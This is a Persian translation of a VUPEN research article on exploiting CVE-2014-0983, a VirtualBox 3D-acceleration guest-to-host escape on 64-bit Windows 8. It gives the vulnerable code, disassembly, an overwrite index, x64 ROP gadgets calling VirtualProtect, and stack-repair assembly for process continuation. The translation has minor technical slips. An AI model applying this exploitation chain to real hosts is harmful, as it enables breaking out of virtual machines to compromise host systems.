تحلیل اکسپلوییت سطح بالای آسیب پذیری از نوع escape در VirtualBox 3D Acceleration VM از VUPEN

سلام

Advanced Exploitation of VirtualBox 3D Acceleration VM Escape Vulnerability (CVE-2014-0983)
logo

[مترجم: منظور از آسیب پذیری گریز یا همان escape Vulnerability، فرار از نوعی محدودیت هایی است که سیستم برای کاربر در نظر گرفته است.مثال: وقتی به وسیله ی VirtualBox یک سیستم عامل مجازی می سازیم،به سیستم عامل مجازی سیستم عامل مهمان یا Guest OS و به سیستم عاملی که VirtualBox روی آن نصب است، سیستم عامل میزبان یا Host OS می گوییم. زمانی که بتوانیم از درون سیستم عامل مهمان به صورت غیرمجاز به سیستم عامل میزبان دسترسی پیدا کنیم، به آن گریز یا escape و اگر این کار توسط یک آسیب پذیری صورت گرفته باشد به آن escape vulnerability می گوییم.]

چند ماه پیش، یکی از دوستان ما از گروه Core Security مطلبی در مورد یک آسیب پذیری از نوع Multiple Memory Corruption در VirtualBox منتشر کرد که به وسیله ی آن کاربر می توانست از سیستم عامل مهمان گریز و روی سیستم عامل میزبان کدهای مورد نظر خود را اجرا نماید.

چند هفته پیش نیز در REcon 2014، فرانسیسکو فالکون به صورت عملی نشان داد که چگونه با استفاده از این آسیب پذیری و اکسپلوییت آن می توان یک گریز مهمان-به-میزبان (guest-to-host escape) را انجام داد. در آزمایش فالکون سیستم عامل میزبان، ۳۲ بیتی بود.

در این مقاله روش اکسپلوییتی را نشان می دهیم که در میزبانی با ویندوز هشت ۶۴ بیتی و تنها با استفاده از همین آسیب پذیری (CVE-2014-0983) و بدون فروپاشی (crash) پردازش مربوط به VirtualBox و در شرایط عادی بتوان از سیستم عامل مهمان به میزبان گریز کرد.

۱- تحلیل و آنالیز فنی آسیب پذیری

آسیب پذیری Multiple Memory Corruption به دلیل کتابخانه ی گرافیکی OpenGL در VirtualBox 3D acceleration  است. تمرکز این آنالیز روی CVE-2014-0983 خواهد بود. از دیدگاه میزبان در سمت مهمان سرویس های مختلفی از قبیل drag & drop، اشتراک گذاری حافظه ی مربوط به clipboard، رندر گرافیکی و... در حال اجراست. یکی از این سرویس ها Shared OpenGL است. این سرویس امکان رندر OpenGL از راه دور را با استفاده از مدل کلاینت/سروری و در زمانی که گزینه 3D Acceleration فعال باشد، فراهم می سازد. (این گزینه به صورت پیش فرض غیرفعال است) سیستم عامل میزبان در جایگاه کلاینت عمل کرده و پیام درخواست رندر (render) را به درایو VBoxGuest.sys ارسال می کند. این درایو پیام ها را با استفاده از PMIO/MMIO به میزبان که در نقش سرور است، انتقال می دهد. برای مشاهده توضیحات بیشتر در خصوص VirtualBox و 3D به لینک مراجعه کنید.

پیام های مختلف و زیادی برای رندر وجود دارد. یکی از این پیام ها "CR_MESSAGE_OPCODES" است. ساختار این پیام با opcode شروع می شود و به دنبال آن داده ی مربوطه می آید. (opcode همان شناسه ی دستور است) تابع ()crUnpack تمام opcodeها را در سمت سرور (سیستم عامل میزبان) مدیریت می کند.

static void
crServerDispatchMessage(CRConnection *conn, CRMessage *msg) {
     const CRMessageOpcodes *msg_opcodes;
     CRASSERT(msg->header.type == CR_MESSAGE_OPCODES);
     msg_opcodes = (const CRMessageOpcodes *)msg;
     data_ptr = (const char *) msg_opcodes + sizeof(CRMessageOpcodes) + opcodeBytes;
     crUnpack(data_ptr,                         /* first command operands */
                   data_ptr - 1,                /* first command opcode */
                   msg_opcodes->numOpcodes,    /* how many opcodes */
                   &(cr_server.dispatch));      /* the CR dispatch table */

محتوای تابع ()crUnpack در زمان نصب VirtualBox و توسط اسکریپتی به زبان پایتون و در آدرس "src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py" تولید می شود. این تابع به عنوان یک سوییچ بین توابع مختلف و با توجه به opcode آن ها عمل می کند.

با ارسال پیامی شامل opcodeای با مقدار (0xEA) و "CR_VERTEXATTRIB4NUBARB_OPCODE"  در تابع ()crUnpack، تابع "()crUnpackVertexAttrib4NubARB" را فراخوانی می کند. این تابع پیام رندری که از سیستم عامل مهمان دریافت کرده را بدون هیچ چک کردن یا اعتبارسنجی پارس (parse) می کند:

 static void crUnpackVertexAttrib4NubARB(void)
{
      GLuint index = READ_DATA( 0, GLuint );
      GLubyte x = READ_DATA( 4, GLubyte );
      GLubyte y = READ_DATA( 5, GLubyte );
      GLubyte z = READ_DATA( 6, GLubyte );
      GLubyte w = READ_DATA( 7, GLubyte );
      cr_unpackDispatch.VertexAttrib4NubARB( index, x, y, z, w );
      INCR_DATA_PTR( 8 );
}
 void SERVER_DISPATCH_APIENTRY crServerDispatchVertexAttrib4NubARB(GLuint index, GLubyte x, GLubyte y, GLubyte z, GLubyte w ) {
      cr_server.head_spu->dispatch_table.VertexAttrib4NubARB(index, x, y, z, w );
      cr_server.current.c.vertexAttrib.ub4[index] = cr_unpackData;
}

به دلیل عدم اعتبارسنجی شناسه ی (index) آرایه، حافظه ای که بعد از آرایه ی "cr_server.current.c.vertexAttrib.ub4" آمده، ممکن است به وسیله ی "cr_unpackData" دچار مشکل (corruption) شود.

 .text:000007FA24376440 crServerDispatchVertexAttrib4NubARB proc near
.text:000007FA24376440
.text:000007FA24376440 var_18 = byte ptr -18h
.text:000007FA24376440 arg_20 = byte ptr 28h
.text:000007FA24376440
.text:000007FA24376440 push rbx
.text:000007FA24376442 sub rsp, 30h
.text:000007FA24376446 movzx eax, [rsp+38h+arg_20]
.text:000007FA2437644B mov ebx, ecx ; index
.text:000007FA2437644D mov [rsp+38h+var_18], al
.text:000007FA24376451 mov rax, cs:head_spu
  // dispatch_table.VertexAttrib4NubARB
.text:000007FA24376458 call qword ptr [rax+1498h]
  // pointer to controlled opcode data
.text:000007FA2437645E mov rax, cs:cr_unpackData
.text:000007FA24376465 lea rcx, cr_server_current_c_vertexAttrib_ub4
.text:000007FA2437646C mov [rcx+rbx*8], rax ; crash
.text:000007FA24376470 add rsp, 30h
.text:000007FA24376474 pop rbx
.text:000007FA24376475 retn
.text:000007FA24376475 crServerDispatchVertexAttrib4NubARB endp

که ممکن است توسط کاربر و یا برنامه ی در حال اجرا روی سیستم عامل مهمان اکسپلوییت شده و روی سیستم عامل میزبان کدهای مخربی اجرا نماید.

۲- اکسپلوییت ویندوز 8 (۶۴ بیتی) به عنوان میزبان

برای اکسپلوییت این آسیب پذیری به وسیله ی سیستم عاملی مجازی مهمان، می بایست برنامه ی مخرب زیر را نوشته و از آن جهت ارسال یک پیام مخرب به سیستم عامل میزبان استفاده کنیم. برای این کار باید قابلیت additional driver فعال باشد.

تابع آسیب پذیر "crUnpackVertexAttrib4NubARB" دروی فایل dllای با نام "VBoxSharedCrOpenGL.dll" قرار دارد و این در حالی است که محل ذخیره سازی آرایه در بخش data. به صورت زیر است:

  .data:000007FA2444B518 cr_server_current_c_vertexAttrib_ub4 db ?

بنابراین حافظه ی بعد از آدرس مربوط به آرایه ی "cr_server.current.c.vertexAttrib.ub4" ممکن است به واسطه ی اشاره گرِ "cr_unpackData" تخریب (corruption) شود. وظیفه ی این اشاره گر رندر کردن پیام های ارسالی از سیستم عامل مهمان است.

حافظه مربوط به "VBoxSharedCrOpenGL.dll" در سیستم عامل میزبان نیز ممکن است به واسطه ی آرایه ی "cr_server.current.c.vertexAttrib.ub4" تخریب شود.

با استفاده از این موارد اولیه، برای مثال می توانیم اشاره گر موجود در بخش data. را با مشکل مواجه کنیم. با بررسی تابع آسیب پذیر، مشاهده می کنیم که:

  cr_server.head_spu->dispatch_table.VertexAttrib4NubARB(...);

که به زبان اسمبلی می شود:

 .text:000007FA24376451 mov rax, cs:head_spu
// dispatch_table.VertexAttrib4NubARB
.text:000007FA24376458 call qword ptr [rax+1498h]

بخش data. در "cr_server.head_spu" برابر است با:

  .data:000007FA2444CA60 head_spu dq

و این، همان آدرسی است که ممکن است، تخریب شود. "cr_server.head_spu" دقیقا بعد از آرایه قرار دارد؛ بنابراین به یک شناسه (index) برای رفع این مشکل در حافظه احتیاج است:

 .text:000007FA2437646C mov [rcx+rbx*8], rax                    // corruption
...
.data:000007FA2444B518 cr_server_current_c_vertexAttrib_ub4 db // array
.data:000007FA2444CA60 cr_server_head_spu dq                   // target

شناسه یا همان index به صورت زیر محاسبه می شود:

 0x7FA2444CA60 0x7FA2444B518 = 0x1548
0x1548 / 8 = 0x2A9

بعد از تخریب "cr_server.head_spu"، سیستم عامل میزبان کار پارس کردن (parse) پیام رندر را تمام می کند، اما هیچ کدی جهت اجرا شدن وجود ندارد. اما زمانی که یک پیام یکسان شامل opcode مربوط به (0xEA) و"CR_VERTEXATTRIB4NUBARB_OPCODE" ارسال می شود، دوباره استفاده می شود:

 .text:000007FA24371E30 push rbx
.text:000007FA24371E32 sub rsp, 20h
.text:000007FA24371E36 mov ebx, ecx
.text:000007FA24371E38 call crStateBegin
.text:000007FA24371E3D mov rax, cs:head_spu
.text:000007FA24371E44 mov ecx, ebx
.text:000007FA24371E46 add rsp, 20h
.text:000007FA24371E4A pop rbx
.text:000007FA24371E4B jmp qword ptr [rax+0B0h]

زمانی که "cr_server.head_spu" به وسیله ی "cr_unpackData" (به عنوان ارجاع دهندی ای به داده های تحت کنترل ما) تخریب می شود، دستور پرش (jmp) مربوط به باعث اجرای دستورات جاری خواهد شد.

مرحله بعدی حرکت در درایه های پشته است. (pivot stack) به غیر از "VBoxREM.dll"  براس سایر کامپوننت های VirtualBox به صورت پیش فرض ASLR/DEP فعال است. [مترجم: ASLR مخفف شده ی Address Space Layout Randomization است. با استفاده از این قابلیت تمام قسمت های حافظه شامل حافظه ی مربوط به پشته، heap، کدهای اجرایی و ... به صورت تصادفی انتخاب می شوند و بنابراین هکر نمی تواند آدرس های مورد نظرش را از قبل پیش بینی کند و آن را به دست بیاورد.] از منظر هکر، فعال نبودن ASLR برای "VBoxREM.dll" در زمان اکسپلوییت یک مزیت به حساب می آید. (علاه بر این روش ممکن است از آسیب پذیری های دیگر نیز بتوان برای اختلال در حافظه بهره بود)

در زیر،‌ حالت و state تمام رجیسترها در زمان ریدایرکت کردن جهت اجرای دستورات جاری را مشاهده می کنید:

rax=000000004b09f2b4 rbx=000000004b09f2b0 rcx=0000000000000331
rdx=0000000000000073 rsi=0000000000000001 rdi=000007fa2444ca68
rip=000007fa24371e4b rsp=00000000055afb78 rbp=000000004b09f2a6
r8=7efefefefefefeff r9=7efefefefefeff72 r10=0000000000000000
r11=8101010101010100 r12=0000000000000004 r13=000007fa24360000
r14=000007fa1d7b0000 r15=000000004aa16a50
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
VBoxSharedCrOpenGL!crServerVBoxCompositionSetEnableStateGlobal+0x677b:
000007fa' 24371e4b 48ffa0b0000000 jmp qword ptr [rax+0B0h]

رجیسترهای RAX, RBX,RBP جهت اشاره به پیام رندر استفاده می شوند:

 0:015> dd rax
00000000' 4b09f2b4 000002a9 42424242 42424242 42424242
0:015> dd rbx
00000000' 4b09f2b0 00000331 000002a9 42424242 42424242
0:015> dd rbp
00000000' 4b09f2a6 0008f702 00300000 03310000 02a90000
00000000' 4b09f2b6 42420000 42424242 42424242 42424242

این رجیسترها شامل تمام opcodeهای مربوط به رندر هستند که در ادامه ی آن نیز، تمام داده های تحت کنترل ما وجود دارد. به طور خلاصه، حرکت در درایه های پشته تنها با دستورات RET و JMP [رجیستر] و CALL [رجیستر] نخواهد بود. کامپایلرهای ۶۴ بیتی، اخرین فراخوانی که توسط تابع انجام می شود را با جایگزینی یک پرش (jump) به جای آن بهینه کرده اند. این مورد به ما کمک می کند درایه ی مناسب را پیدا کنیم. مثل این:

; Gadget 1: 6a689670
mov rax,qword ptr [rdx+rax] ds:00000000' 4b09f327=000000006a6810db
add rsp,28h
mov rdx,rbx
pop rbx
leave
jmp rax

رجیستر RDX، همیشه با 0x73 مقدار دهی می شود. بنابراین اولین دستور داده های کنترل شده را به RAX انتقال می دهد.

دستور LEAVE مقدار RSP را RBP قرار می دهد. (که به پیام ما اشاره دارد) سپس به رجیستر RAX پرش (jump) خواهیم کرد. (گدجت بعدی)

حالا که RSP تحت کنترل است، از x64 ROP برای فراخوانی ()VirtualProtect و رسیدن به کدهای اجرایی استفاده می کنیم. بدون پرداختن به جزییات هر گدجت، اولین آن ها پشته را بالا می برد (POP RSI, RDI, RBP, R12). بعد از آن گدجت زیر مورد استفاده قرار می گیرد:

; Gadget 2: control RDX value
pop rdx
xor ecx,dword ptr [rax]
add cl,cl
movzx eax,al
ret
; Gadget 3: set RAX to RSP value
lea rax,[rsp+8]
ret
; Gadget 4: set RAX to RSP + RDX (offset)
lea rax,[rdx+rax]
ret
; Gadget 5: Write stack address (EAX) on the stack (with index RDX)
add dword ptr [rax],eax
add cl,cl
ret

با این گدجت ها ممکن است مقدار RSP در هر قسمتی از پشته نوشته شود. (که بستگی به مقدار RDX دارد) بنابراین حالا که پشته تحت کنترل است، از گدجت های زیر می توان جهت فراخوانی ()VirtualProtect و بایپس DEP بهره برد:

; Gadget 6
mov r9,r12
mov r8d,dword ptr [rsp+8Ch]
mov rdx,qword ptr [rsp+68h]
mov rcx,qword ptr [rsp+50h]
call rbp

با سپاس از گدجت دوم (stack lifting) حالا کنترل R12,RBP را هم در اختیار داریم.

(توجه: برخلاف x86، در سیستم های ۶۴ بیتی، ۴ پارامتر اول تابع در پشته push نمی شوند که به جای آن از فراخوانی سریع RCX, RDX, R8, R9 به عنوان پارامترها استفاده خواهیم کرد.)

به این ترتیب پشته شامل داده های کنترل شده ی ماست و می توانیم به RSP مقدار دهی کنیم. بنابراین پارامترهای توابع مختلف قابل تنظیم اند و در نهایت تابع ()VirtualProtect با تنظیم RBP با مقدار 0x6a70bb20 فراخوانی می شود.

  .text:000000006A70BB20 jmp cs:VirtualProtect

بر خلاف x86، از رجیستر RBP برای دسترسی به پارامترها و متغیرهای محلی پشته استفاده می شود. بنابراین دیگر به عنوان یک اشاره گر به فریم نخواهد بود:

; .text: 0x6a709292
call rbp (0x6a70bb20)
; .text: 0x6A70BB20
jmp cs:VirtualProtect
; KERNEL32!VirtualProtectStub
jmp qword ptr [KERNEL32!_imp_VirtualProtect (000007fa' 2ccce2e8)]
; KERNELBASE!VirtualProtect
mov rax,rsp

سپس ()VirtualProtect اجرا و مجوز پشته (Stack Permission) با RWE که همان Read,Write,Execute است،‌ تنظیم می شود. آخرین گدجت نیز برای اجرای دستورات جاری است:

; Gadget 7
lea rax, [rsp+8]
ret
; Gadget 8
push rax
adc cl,ch
ret

حالا، داده های ارسالی ما از سیستم عامل مهمان (Guest OS) در سیستم عامل میزبان اجرا می شود.

شل کد و تداوم پردازش Shellcode and Process Continuation

هدف ما این است که کدهای شل ۶۴ بیتی را بدون فروپاشی و crash پردازش مربوط به VirtualBox اجرا کنیم. (که به آن تداوم پردازش می گوییم)

اولین دستور اجرایی به خاطر اینکه RSP (اشاره گر پشته) از لحاظ مکانی به RIP (اشاره گر دستور) نزدیک است، بسیار حساس خواهد بود. بنابراین RSP باید به انتهای پیام رندر انتقال یابد.

prepostshell

پیام رندر کردن 3D در سیستم عامل میزبان واقع شده است و کامپوننت های آن هم از قبل مشخص و شناخته شده اند (opcodes, ROP, pre-shellcode, shellcode, post-shellcode,  سایز پشته مربوط به شل کد). بنابراین می توانیم این پیام را با توجه به شل کد و سایز مورد نیاز پشته دستکاری کنیم.

قسمت pre-Shellcode:

 4ab9a30e 90 nop
4ab9a30f 90 nop
4ab9a310 4881c4XXXXXXXX add rsp,X

با این کار، محل ذخیره سازی اشاره گر مربوط به پشته سالم مانده و از دست نمی رود و می توانیم قسمت بعد از شل کد خود را بدون مشکل درست کنیم. این قسمت شامل موارد زیر است:

-اشاره گر پشته (RSP)
- اشاره گر تابع در بخش data. که همان cr_server.head_spu است و تخریب شده است.
 

برای بازیابی و اصلاح اشاره گرِ اصلی پشته، از TBD که مخفف Thread Block Environment است، استفاده می کنیم. دسترسی به این ساختار (structure) به لطف رجسیتر GS ممکن شده است. TED با نوعی از ساختار داده شروع می شود که شامل تمام چیزهایی است که به آن احتیاج داریم:

 typedef struct _NT_TIB
{
      PEXCEPTION_REGISTRATION_RECORD ExceptionList;
      PVOID StackBase;
      PVOID StackLimit;
      ...
} NT_TIB, *PNT_TIB;

با پیدا کردن کردن پشته پایه و با استفاده از الگوهای تطبیق (pattern matching) می توان به پشته ی اصلی رسید:

 mov eax,dword ptr gs:[10h]             // retrieve stack base
xor rbx,rbx
Label1:                               // pattern matching
inc rbx
cmp dword ptr [rax+rbx*4],331h         // opcode argument
jne
inc rbx
cmp dword ptr [rax+rbx*4],2A9h        // index used for corruption
jne
inc rbx
cmp dword ptr [rax+rbx*4],42424242h    // Heh ;)
jne
rax,[rax+rbx*4]                        // retrieved RSP
add rax,270h                          // skip embarrassing functions
mov rsp,rax

بعد از اینکه اشاره گر پشته را پیدا کردیم، آن را با 0x170+0x100 جمع می کنیم. (0x170 را به دلیل رسیدن به حالت پشته در زمان قبل از ریدایرکت کدهای جاری اضافه می کنیم. مقدار 0x100 نیز، تعداد بایت هایی است که برای رد کردن و نادیده گرفتن خطوط 01,02,03,04 توسط تابع ارسال کننده ی پیام،‌ استفاده می شود:

# Memory Call Site
01   8 VBoxSharedCrOpenGL!crUnpack+0xc8
02 70 crServerVBoxCompositionSetEnableStateGlobal+0xdbca
03 30 crServerVBoxCompositionSetEnableStateGlobal+0xdd59
04 30 crServerServiceClients+0x18

05 30 crVBoxServerRemoveClient+0x18b
06 30 VBoxSharedCrOpenGL+0x19cb
07 60 VBoxC!VBoxDriversRegister+0x46002
08 70 VBoxC!VBoxDriversRegister+0x442dc
09 30 VBoxRT!RTThreadFromNative+0x20f
...

با استفاده از دستور RET، برنامه می تواند مقادیر اولیه را بازیابی نماید، اما قبل از این کار می بایست مقدار "cr_server.head_spu" را ترمیم و درست کنیم.

"cr_server.head_spu" به خاطر اکسپلوییت تخریب شده است. مقدار پیش فرض این متغیر آدرس heapای است که محتوای آن شامل جدول تابع مجازی (virtual function table) می شود. تلاش برای بازگرداندن آدرس حافظه ی heap اصلی به دلایل زیر آسان خواهد بود:

-هر نسخه ای از ویندوز، فرمت حافظه ی heap پیچیده و مخصوص به خود را دارد.
- هیچ الگوی تطبیقی برای آن موجود نیست؛ محتوای heap یک جدول تابع است.
 

راه حل ساده این است  که از کد موجود، دوباره استفاده شود. توجه داشته باشید که ()crVBoxServerRemoveClient از "VBoxSharedCrOpenGL.dll" در بالای پشته قرار دارد. آدرس آن نیز در شروع بخش data. درج شده است. نگاشت هر کتابخانه در حافظه به صورت تراز شده (aligned)، است. بنابراین تنها با نگه داشتن بالاترین بخش از آدرس تابع می توانیم "VBoxSharedCrOpenGL" را به دست آوریم:

 mov rsp,rax
// take VBoxSharedCrOpenGL!crVBoxServerRemoveClient+0x18b
mov rax,qword ptr [rax]
and rax,0FFFFFFFFFFFF0000h     // get VBoxSharedCrOpenGL.dll base

با داشتن "VBoxSharedCrOpenGL" می توانیم سایر توابع مثل ()crVBoxServerInit را نیز فراخوانی کنیم. این تابع، ()crServerSetVBoxConfigurationHGCM را فراخوانی خواهد کرد که به وسیله ی آن می توانیم "cr_server.head_spu" را تعمیر و اصلاح کنیم.

GLboolean crVBoxServerInit(void)
{
    ...
    crServerSetVBoxConfigurationHGCM();
    if (!cr_server.head_spu)
           return GL_FALSE;
    crServerInitDispatch();
    crServerInitTmpCtxDispatch();
    crStateDiffAPI( &(cr_server.head_spu->dispatch_table) );
    return GL_TRUE;
}
 void crServerSetVBoxConfigurationHGCM()
{
    int spu_ids[1] = {0};
    char *spu_names[1] = {"render"};
    char *spu_dir = NULL;
    cr_server.head_spu = crSPULoadChain(1, spu_ids, spu_names, spu_dir, &cr_server);
 ...
}

و در پایان، post-shellcode:

 mov rsp,rax
// take VBoxSharedCrOpenGL!crVBoxServerRemoveClient+0x18b
mov rax,qword ptr [rax]
and rax,0FFFFFFFFFFFF0000h // get VBoxSharedCrOpenGL.dll base
push rax
add rax,4630h              // get VBoxSharedCrOpenGL!crVBoxServerInit
call rax                   // auto-repair
pop rax
ret                        // return to the orignial call stack

که با این کار می توانیم به صورت مطمئن و بدون فروپاشی پروسه ی مربوطه، از سیستم عامل مجازی به سیستم عامل میزبان گریز کرده و کدهای خود را روی سیستم عامل میزبانِ ۶۴ بیتی اجرا کنیم.

لینک مقاله:

http://www.vupen.com/blog/20140725.Advanced_Exploit...

مترجم: تمدن
تاریخ ساخت: July 7, 2014 یا ۳ مرداد ۱۳۹۳
تاریخ تحقیق: Aug 8, 2014 یا ۱۷ مرداد ۱۳۹۳